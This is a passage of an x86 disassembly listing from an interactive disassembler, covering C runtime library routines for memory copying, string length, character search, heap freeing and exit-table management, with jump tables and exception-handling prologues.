loc_41BDD0:				; CODE XREF: sub_41BC60+35j
					; sub_41BC60+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41BDE4:				; CODE XREF: sub_41BC60+35j
					; sub_41BC60+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41BDFC:				; CODE XREF: sub_41BC60+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41BE30
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41BE24
		std
		rep movsd
		cld
		jmp	ds:off_41BF48[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41BE24:				; CODE XREF: sub_41BC60+1B5j
					; sub_41BC60+210j ...
		neg	ecx
		jmp	ds:off_41BEF8[ecx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_41BE30:				; CODE XREF: sub_41BC60+1AAj
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41BE48
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr ds:loc_41BE48+4[eax*4]
; ---------------------------------------------------------------------------

loc_41BE48:				; CODE XREF: sub_41BC60+1DAj
					; DATA XREF: sub_41BC60+1E1r
		jmp	ds:off_41BF48[ecx*4]
; ---------------------------------------------------------------------------
		align 10h
		dd offset loc_41BE5B+1
; ---------------------------------------------------------------------------
		cmp	byte ptr [esi-4157FFBFh], 41h

loc_41BE5B:				; DATA XREF: sub_41BC60+1F0o
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		sub	esi, 1
		shr	ecx, 2
		sub	edi, 1
		cmp	ecx, 8
		jb	short loc_41BE24
		std
		rep movsd
		cld
		jmp	ds:off_41BF48[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41BE24
		std
		rep movsd
		cld
		jmp	ds:off_41BF48[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41BE24
		std
		rep movsd
		cld
		jmp	ds:off_41BF48[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41BEFC
		dd offset loc_41BF04
		dd offset loc_41BF0C
		dd offset loc_41BF14
		dd offset loc_41BF1C
		dd offset loc_41BF24
		dd offset loc_41BF2C
off_41BEF8	dd offset loc_41BF3F	; DATA XREF: sub_41BC60+1C6r
; ---------------------------------------------------------------------------

loc_41BEFC:				; DATA XREF: sub_41BC60+27Co
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax

loc_41BF04:				; DATA XREF: sub_41BC60+280o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax

loc_41BF0C:				; DATA XREF: sub_41BC60+284o
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax

loc_41BF14:				; DATA XREF: sub_41BC60+288o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax

loc_41BF1C:				; DATA XREF: sub_41BC60+28Co
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax

loc_41BF24:				; DATA XREF: sub_41BC60+290o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax

loc_41BF2C:				; DATA XREF: sub_41BC60+294o
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_41BF3F:				; CODE XREF: sub_41BC60+1C6j
					; DATA XREF: sub_41BC60:off_41BEF8o
		jmp	ds:off_41BF48[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41BF48	dd offset loc_41BF58	; DATA XREF: sub_41BC60+1BBr
					; sub_41BC60:loc_41BE48r ...
		dd offset loc_41BF60
		dd offset loc_41BF70
		dd offset loc_41BF84
; ---------------------------------------------------------------------------

loc_41BF58:				; CODE XREF: sub_41BC60+1BBj
					; sub_41BC60:loc_41BE48j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_41BF60:				; CODE XREF: sub_41BC60+1BBj
					; sub_41BC60:loc_41BE48j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_41BF70:				; CODE XREF: sub_41BC60+1BBj
					; sub_41BC60:loc_41BE48j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41BF84:				; CODE XREF: sub_41BC60+1BBj
					; sub_41BC60:loc_41BE48j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41BC60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BFA0	proc near		; CODE XREF: sub_401B42+4Ep
					; sub_407EA0+12p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41BFC0
		cmp	edi, eax
		jb	loc_41C13C

loc_41BFC0:				; CODE XREF: sub_41BFA0+16j
		test	edi, 3
		jnz	short loc_41BFDC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41BFFC
		rep movsd
		jmp	ds:off_41C0EC[edx*4]
; ---------------------------------------------------------------------------

loc_41BFDC:				; CODE XREF: sub_41BFA0+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41BFF4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr ds:loc_41BFFC+4[eax*4]
; ---------------------------------------------------------------------------

loc_41BFF4:				; CODE XREF: sub_41BFA0+46j
		jmp	dword ptr ds:loc_41C0FC[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41BFFC:				; CODE XREF: sub_41BFA0+31j
					; sub_41BFA0+8Ej ...
		jmp	ds:off_41C080[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41C010
		dd offset loc_41C03C
		dd offset loc_41C060
; ---------------------------------------------------------------------------

loc_41C010:				; DATA XREF: sub_41BFA0+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41BFFC
		rep movsd
		jmp	ds:off_41C0EC[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41C03C:				; DATA XREF: sub_41BFA0+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41BFFC
		rep movsd
		jmp	ds:off_41C0EC[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_41C060:				; DATA XREF: sub_41BFA0+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		add	esi, 1
		shr	ecx, 2
		add	edi, 1
		cmp	ecx, 8
		jb	short loc_41BFFC
		rep movsd
		jmp	ds:off_41C0EC[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41C080	dd offset loc_41C0E3	; DATA XREF: sub_41BFA0:loc_41BFFCr
		dd offset loc_41C0D0
		dd offset loc_41C0C8
		dd offset loc_41C0C0
		dd offset loc_41C0B8
		dd offset loc_41C0B0
		dd offset loc_41C0A8
		dd offset loc_41C0A0
; ---------------------------------------------------------------------------

loc_41C0A0:				; CODE XREF: sub_41BFA0:loc_41BFFCj
					; DATA XREF: sub_41BFA0+FCo
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax

loc_41C0A8:				; CODE XREF: sub_41BFA0:loc_41BFFCj
					; DATA XREF: sub_41BFA0+F8o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax

loc_41C0B0:				; CODE XREF: sub_41BFA0:loc_41BFFCj
					; DATA XREF: sub_41BFA0+F4o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax

loc_41C0B8:				; CODE XREF: sub_41BFA0:loc_41BFFCj
					; DATA XREF: sub_41BFA0+F0o
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax

loc_41C0C0:				; CODE XREF: sub_41BFA0:loc_41BFFCj
					; DATA XREF: sub_41BFA0+ECo
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax

loc_41C0C8:				; CODE XREF: sub_41BFA0:loc_41BFFCj
					; DATA XREF: sub_41BFA0+E8o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax

loc_41C0D0:				; CODE XREF: sub_41BFA0:loc_41BFFCj
					; DATA XREF: sub_41BFA0+E4o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_41C0E3:				; CODE XREF: sub_41BFA0:loc_41BFFCj
					; DATA XREF: sub_41BFA0:off_41C080o
		jmp	ds:off_41C0EC[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41C0EC	dd offset loc_41C0FC	; DATA XREF: sub_41BFA0+35r
					; sub_41BFA0+92r ...
		dd offset loc_41C104
		dd offset loc_41C110
		dd offset loc_41C124
; ---------------------------------------------------------------------------

loc_41C0FC:				; CODE XREF: sub_41BFA0+35j
					; sub_41BFA0+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C104:				; CODE XREF: sub_41BFA0+35j
					; sub_41BFA0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_41C110:				; CODE XREF: sub_41BFA0+35j
					; sub_41BFA0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C124:				; CODE XREF: sub_41BFA0+35j
					; sub_41BFA0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C13C:				; CODE XREF: sub_41BFA0+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41C170
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41C164
		std
		rep movsd
		cld
		jmp	ds:off_41C288[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41C164:				; CODE XREF: sub_41BFA0+1B5j
					; sub_41BFA0+210j ...
		neg	ecx
		jmp	ds:off_41C238[ecx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_41C170:				; CODE XREF: sub_41BFA0+1AAj
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41C188
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr ds:loc_41C188+4[eax*4]
; ---------------------------------------------------------------------------

loc_41C188:				; CODE XREF: sub_41BFA0+1DAj
					; DATA XREF: sub_41BFA0+1E1r
		jmp	ds:off_41C288[ecx*4]
; ---------------------------------------------------------------------------
		align 10h
		dd offset loc_41C19C
		dd offset loc_41C1C0
		dd offset loc_41C1E8
; ---------------------------------------------------------------------------

loc_41C19C:				; DATA XREF: sub_41BFA0+1F0o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		sub	esi, 1
		shr	ecx, 2
		sub	edi, 1
		cmp	ecx, 8
		jb	short loc_41C164
		std
		rep movsd
		cld
		jmp	ds:off_41C288[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_41C1C0:				; DATA XREF: sub_41BFA0+1F4o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41C164
		std
		rep movsd
		cld
		jmp	ds:off_41C288[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41C1E8:				; DATA XREF: sub_41BFA0+1F8o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41C164
		std
		rep movsd
		cld
		jmp	ds:off_41C288[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41C23C
		dd offset loc_41C244
		dd offset loc_41C24C
; ---------------------------------------------------------------------------
		push	esp
		retn	41h
; ---------------------------------------------------------------------------
		pop	esp
		retn	41h
; ---------------------------------------------------------------------------
		dd offset loc_41C264
		dd offset loc_41C26C
off_41C238	dd offset loc_41C27F	; DATA XREF: sub_41BFA0+1C6r
; ---------------------------------------------------------------------------

loc_41C23C:				; DATA XREF: sub_41BFA0+27Co
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax

loc_41C244:				; DATA XREF: sub_41BFA0+280o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax

loc_41C24C:				; DATA XREF: sub_41BFA0+284o
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax

loc_41C264:				; DATA XREF: sub_41BFA0+290o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax

loc_41C26C:				; DATA XREF: sub_41BFA0+294o
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_41C27F:				; CODE XREF: sub_41BFA0+1C6j
					; DATA XREF: sub_41BFA0:off_41C238o
		jmp	ds:off_41C288[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41C288	dd offset loc_41C298	; DATA XREF: sub_41BFA0+1BBr
					; sub_41BFA0:loc_41C188r ...
		dd offset loc_41C2A0
		dd offset loc_41C2B0
		dd offset loc_41C2C4
; ---------------------------------------------------------------------------

loc_41C298:				; CODE XREF: sub_41BFA0+1BBj
					; sub_41BFA0:loc_41C188j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_41C2A0:				; CODE XREF: sub_41BFA0+1BBj
					; sub_41BFA0:loc_41C188j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_41C2B0:				; CODE XREF: sub_41BFA0+1BBj
					; sub_41BFA0:loc_41C188j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C2C4:				; CODE XREF: sub_41BFA0+1BBj
					; sub_41BFA0:loc_41C188j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41BFA0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C2DD	proc near		; CODE XREF: sub_404F53+7p
					; sub_404F68+73p ...

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 0041C339 SIZE 00000015 BYTES

		push	0Ch
		push	offset stru_4294F0
		call	__SEH_prolog
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_41C348
		cmp	ds:dword_4395BC, 3
		jnz	short loc_41C339
		push	4
		call	sub_41E983
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		push	esi
		call	sub_41E9FC
		pop	ecx
		mov	[ebp+var_1C], eax
		test	eax, eax
		jz	short loc_41C31C
		push	esi
		push	eax
		call	sub_41EA27
		pop	ecx
		pop	ecx

loc_41C31C:				; CODE XREF: sub_41C2DD+34j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_41C330
		cmp	[ebp+var_1C], 0
		jnz	short loc_41C348
		push	[ebp+arg_0]
		jmp	short loc_41C33A
sub_41C2DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C330	proc near		; CODE XREF: sub_41C2DD+43p
					; DATA XREF: .text:stru_4294F0o
		push	4
		call	sub_41E8CE
		pop	ecx
		retn
sub_41C330	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41C2DD

loc_41C339:				; CODE XREF: sub_41C2DD+1Aj
		push	esi

loc_41C33A:				; CODE XREF: sub_41C2DD+51j
		push	0
		push	ds:dword_4395B8
		call	ds:dword_4291AC	; RtlFreeHeap

loc_41C348:				; CODE XREF: sub_41C2DD+11j
					; sub_41C2DD+4Cj
		call	__SEH_epilog
		retn
; END OF FUNCTION CHUNK	FOR sub_41C2DD
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C350	proc near		; CODE XREF: sub_401236+104p
					; sub_401236+165p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_41C380

loc_41C35C:				; CODE XREF: sub_41C350+1Bj
		mov	al, [ecx]
		add	ecx, 1
		test	al, al
		jz	short loc_41C3B3
		test	ecx, 3
		jnz	short loc_41C35C
		add	eax, 0
		lea	esp, [esp+0]
		lea	esp, [esp+0]

loc_41C380:				; CODE XREF: sub_41C350+Aj
					; sub_41C350+46j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41C380
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41C3D1
		test	ah, ah
		jz	short loc_41C3C7
		test	eax, 0FF0000h
		jz	short loc_41C3BD
		test	eax, 0FF000000h
		jz	short loc_41C3B3
		jmp	short loc_41C380
; ---------------------------------------------------------------------------

loc_41C3B3:				; CODE XREF: sub_41C350+13j
					; sub_41C350+5Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_41C3BD:				; CODE XREF: sub_41C350+58j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_41C3C7:				; CODE XREF: sub_41C350+51j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_41C3D1:				; CODE XREF: sub_41C350+4Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_41C350	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_41C3F0

loc_41C3E0:				; CODE XREF: sub_41C3F0+1Fj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_41C3F0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C3F0	proc near		; CODE XREF: sub_4013EC+19Fp
					; sub_409454+2Cp ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 0041C3E0 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]

loc_41C3F6:				; CODE XREF: sub_41CDC0+74j
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_41C41D

loc_41C408:				; CODE XREF: sub_41C3F0+2Bj
		mov	cl, [edx]
		add	edx, 1
		cmp	cl, bl
		jz	short loc_41C3E0
		test	cl, cl
		jz	short loc_41C466
		test	edx, 3
		jnz	short loc_41C408

loc_41C41D:				; CODE XREF: sub_41C3F0+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax

loc_41C428:				; CODE XREF: sub_41C3F0+63j
					; sub_41C3F0+72j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_41C46A
		and	eax, 81010100h
		jz	short loc_41C428
		and	eax, 1010100h
		jnz	short loc_41C464
		and	esi, 80000000h
		jnz	short loc_41C428

loc_41C464:				; CODE XREF: sub_41C3F0+6Aj
					; sub_41C3F0+83j ...
		pop	esi
		pop	edi

loc_41C466:				; CODE XREF: sub_41C3F0+23j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41C46A:				; CODE XREF: sub_41C3F0+5Cj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_41C4A7
		test	al, al
		jz	short loc_41C464
		cmp	ah, bl
		jz	short loc_41C4A0
		test	ah, ah
		jz	short loc_41C464
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_41C499
		test	al, al
		jz	short loc_41C464
		cmp	ah, bl
		jz	short loc_41C492
		test	ah, ah
		jz	short loc_41C464
		jmp	short loc_41C428
; ---------------------------------------------------------------------------

loc_41C492:				; CODE XREF: sub_41C3F0+9Aj
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_41C499:				; CODE XREF: sub_41C3F0+92j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_41C4A0:				; CODE XREF: sub_41C3F0+87j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_41C4A7:				; CODE XREF: sub_41C3F0+7Fj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_41C3F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C4AE	proc near		; CODE XREF: sub_41C556+18p
		push	esi
		push	ds:dword_439594
		call	sub_41F69E
		pop	ecx
		mov	ecx, ds:dword_439590
		mov	esi, eax
		mov	eax, ds:dword_439594
		mov	edx, ecx
		sub	edx, eax
		add	edx, 4
		cmp	esi, edx
		jnb	short loc_41C521
		mov	ecx, 800h
		cmp	esi, ecx
		jnb	short loc_41C4DE
		mov	ecx, esi

loc_41C4DE:				; CODE XREF: sub_41C4AE+2Cj
		add	ecx, esi
		push	ecx
		push	eax
		call	sub_41E618
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_41C504
		add	esi, 10h
		push	esi
		push	ds:dword_439594
		call	sub_41E618
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_41C504
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41C504:				; CODE XREF: sub_41C4AE+3Dj
					; sub_41C4AE+52j
		mov	ecx, ds:dword_439590
		sub	ecx, ds:dword_439594
		mov	ds:dword_439594, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	ds:dword_439590, ecx

loc_41C521:				; CODE XREF: sub_41C4AE+23j
		mov	[ecx], edi
		add	ds:dword_439590, 4
		mov	eax, edi
		pop	esi
		retn
sub_41C4AE	endp

; ---------------------------------------------------------------------------
		push	80h
		call	sub_41D0C4
		test	eax, eax
		pop	ecx
		mov	ds:dword_439594, eax
		jnz	short loc_41C546
		push	18h
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_41C546:				; CODE XREF: .text:0041C540j
		and	dword ptr [eax], 0
		mov	eax, ds:dword_439594
		mov	ds:dword_439590, eax
		xor	eax, eax
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C556	proc near		; CODE XREF: sub_41C58E+4p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	0Ch
		push	offset stru_429500
		call	__SEH_prolog
		call	sub_41F507
		and	[ebp+ms_exc.disabled], 0
		mov	edi, [ebp+arg_0]
		call	sub_41C4AE
		mov	[ebp+var_1C], eax
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_41C588
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog
		retn
sub_41C556	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C588	proc near		; CODE XREF: sub_41C556+24p
					; DATA XREF: .text:stru_429500o
		call	sub_41F510
		retn
sub_41C588	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C58E	proc near		; CODE XREF: sub_41BAF9+3Cp
					; sub_41F531+40p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41C556
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	ecx
		dec	eax
		retn
sub_41C58E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C5A0	proc near		; CODE XREF: sub_401672+1Ep
					; sub_404740+26p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_41C63F
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_41C5CC
		shr	ecx, 2
		jnz	loc_41C64F
		jmp	short loc_41C5F3
; ---------------------------------------------------------------------------

loc_41C5CC:				; CODE XREF: sub_41C5A0+1Fj
					; sub_41C5A0+45j
		mov	al, [esi]
		add	esi, 1
		mov	[edi], al
		add	edi, 1
		sub	ecx, 1
		jz	short loc_41C606
		test	al, al
		jz	short loc_41C60E
		test	esi, 3
		jnz	short loc_41C5CC
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C64F

loc_41C5EE:				; CODE XREF: sub_41C5A0+ADj
		and	ebx, 3
		jz	short loc_41C606

loc_41C5F3:				; CODE XREF: sub_41C5A0+2Aj
					; sub_41C5A0+64j
		mov	al, [esi]
		add	esi, 1
		mov	[edi], al
		add	edi, 1
		test	al, al
		jz	short loc_41C638
		sub	ebx, 1
		jnz	short loc_41C5F3

loc_41C606:				; CODE XREF: sub_41C5A0+39j
					; sub_41C5A0+51j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41C60E:				; CODE XREF: sub_41C5A0+3Dj
		test	edi, 3
		jz	short loc_41C62C

loc_41C616:				; CODE XREF: sub_41C5A0+8Aj
		mov	[edi], al
		add	edi, 1
		sub	ecx, 1
		jz	loc_41C6BC
		test	edi, 3
		jnz	short loc_41C616

loc_41C62C:				; CODE XREF: sub_41C5A0+74j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C6A7

loc_41C633:				; CODE XREF: sub_41C5A0+9Bj
					; sub_41C5A0+116j
		mov	[edi], al
		add	edi, 1

loc_41C638:				; CODE XREF: sub_41C5A0+5Fj
		sub	ebx, 1
		jnz	short loc_41C633
		pop	ebx
		pop	esi

loc_41C63F:				; CODE XREF: sub_41C5A0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41C645:				; CODE XREF: sub_41C5A0+C7j
					; sub_41C5A0+DFj
		mov	[edi], edx
		add	edi, 4
		sub	ecx, 1
		jz	short loc_41C5EE

loc_41C64F:				; CODE XREF: sub_41C5A0+24j
					; sub_41C5A0+4Cj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
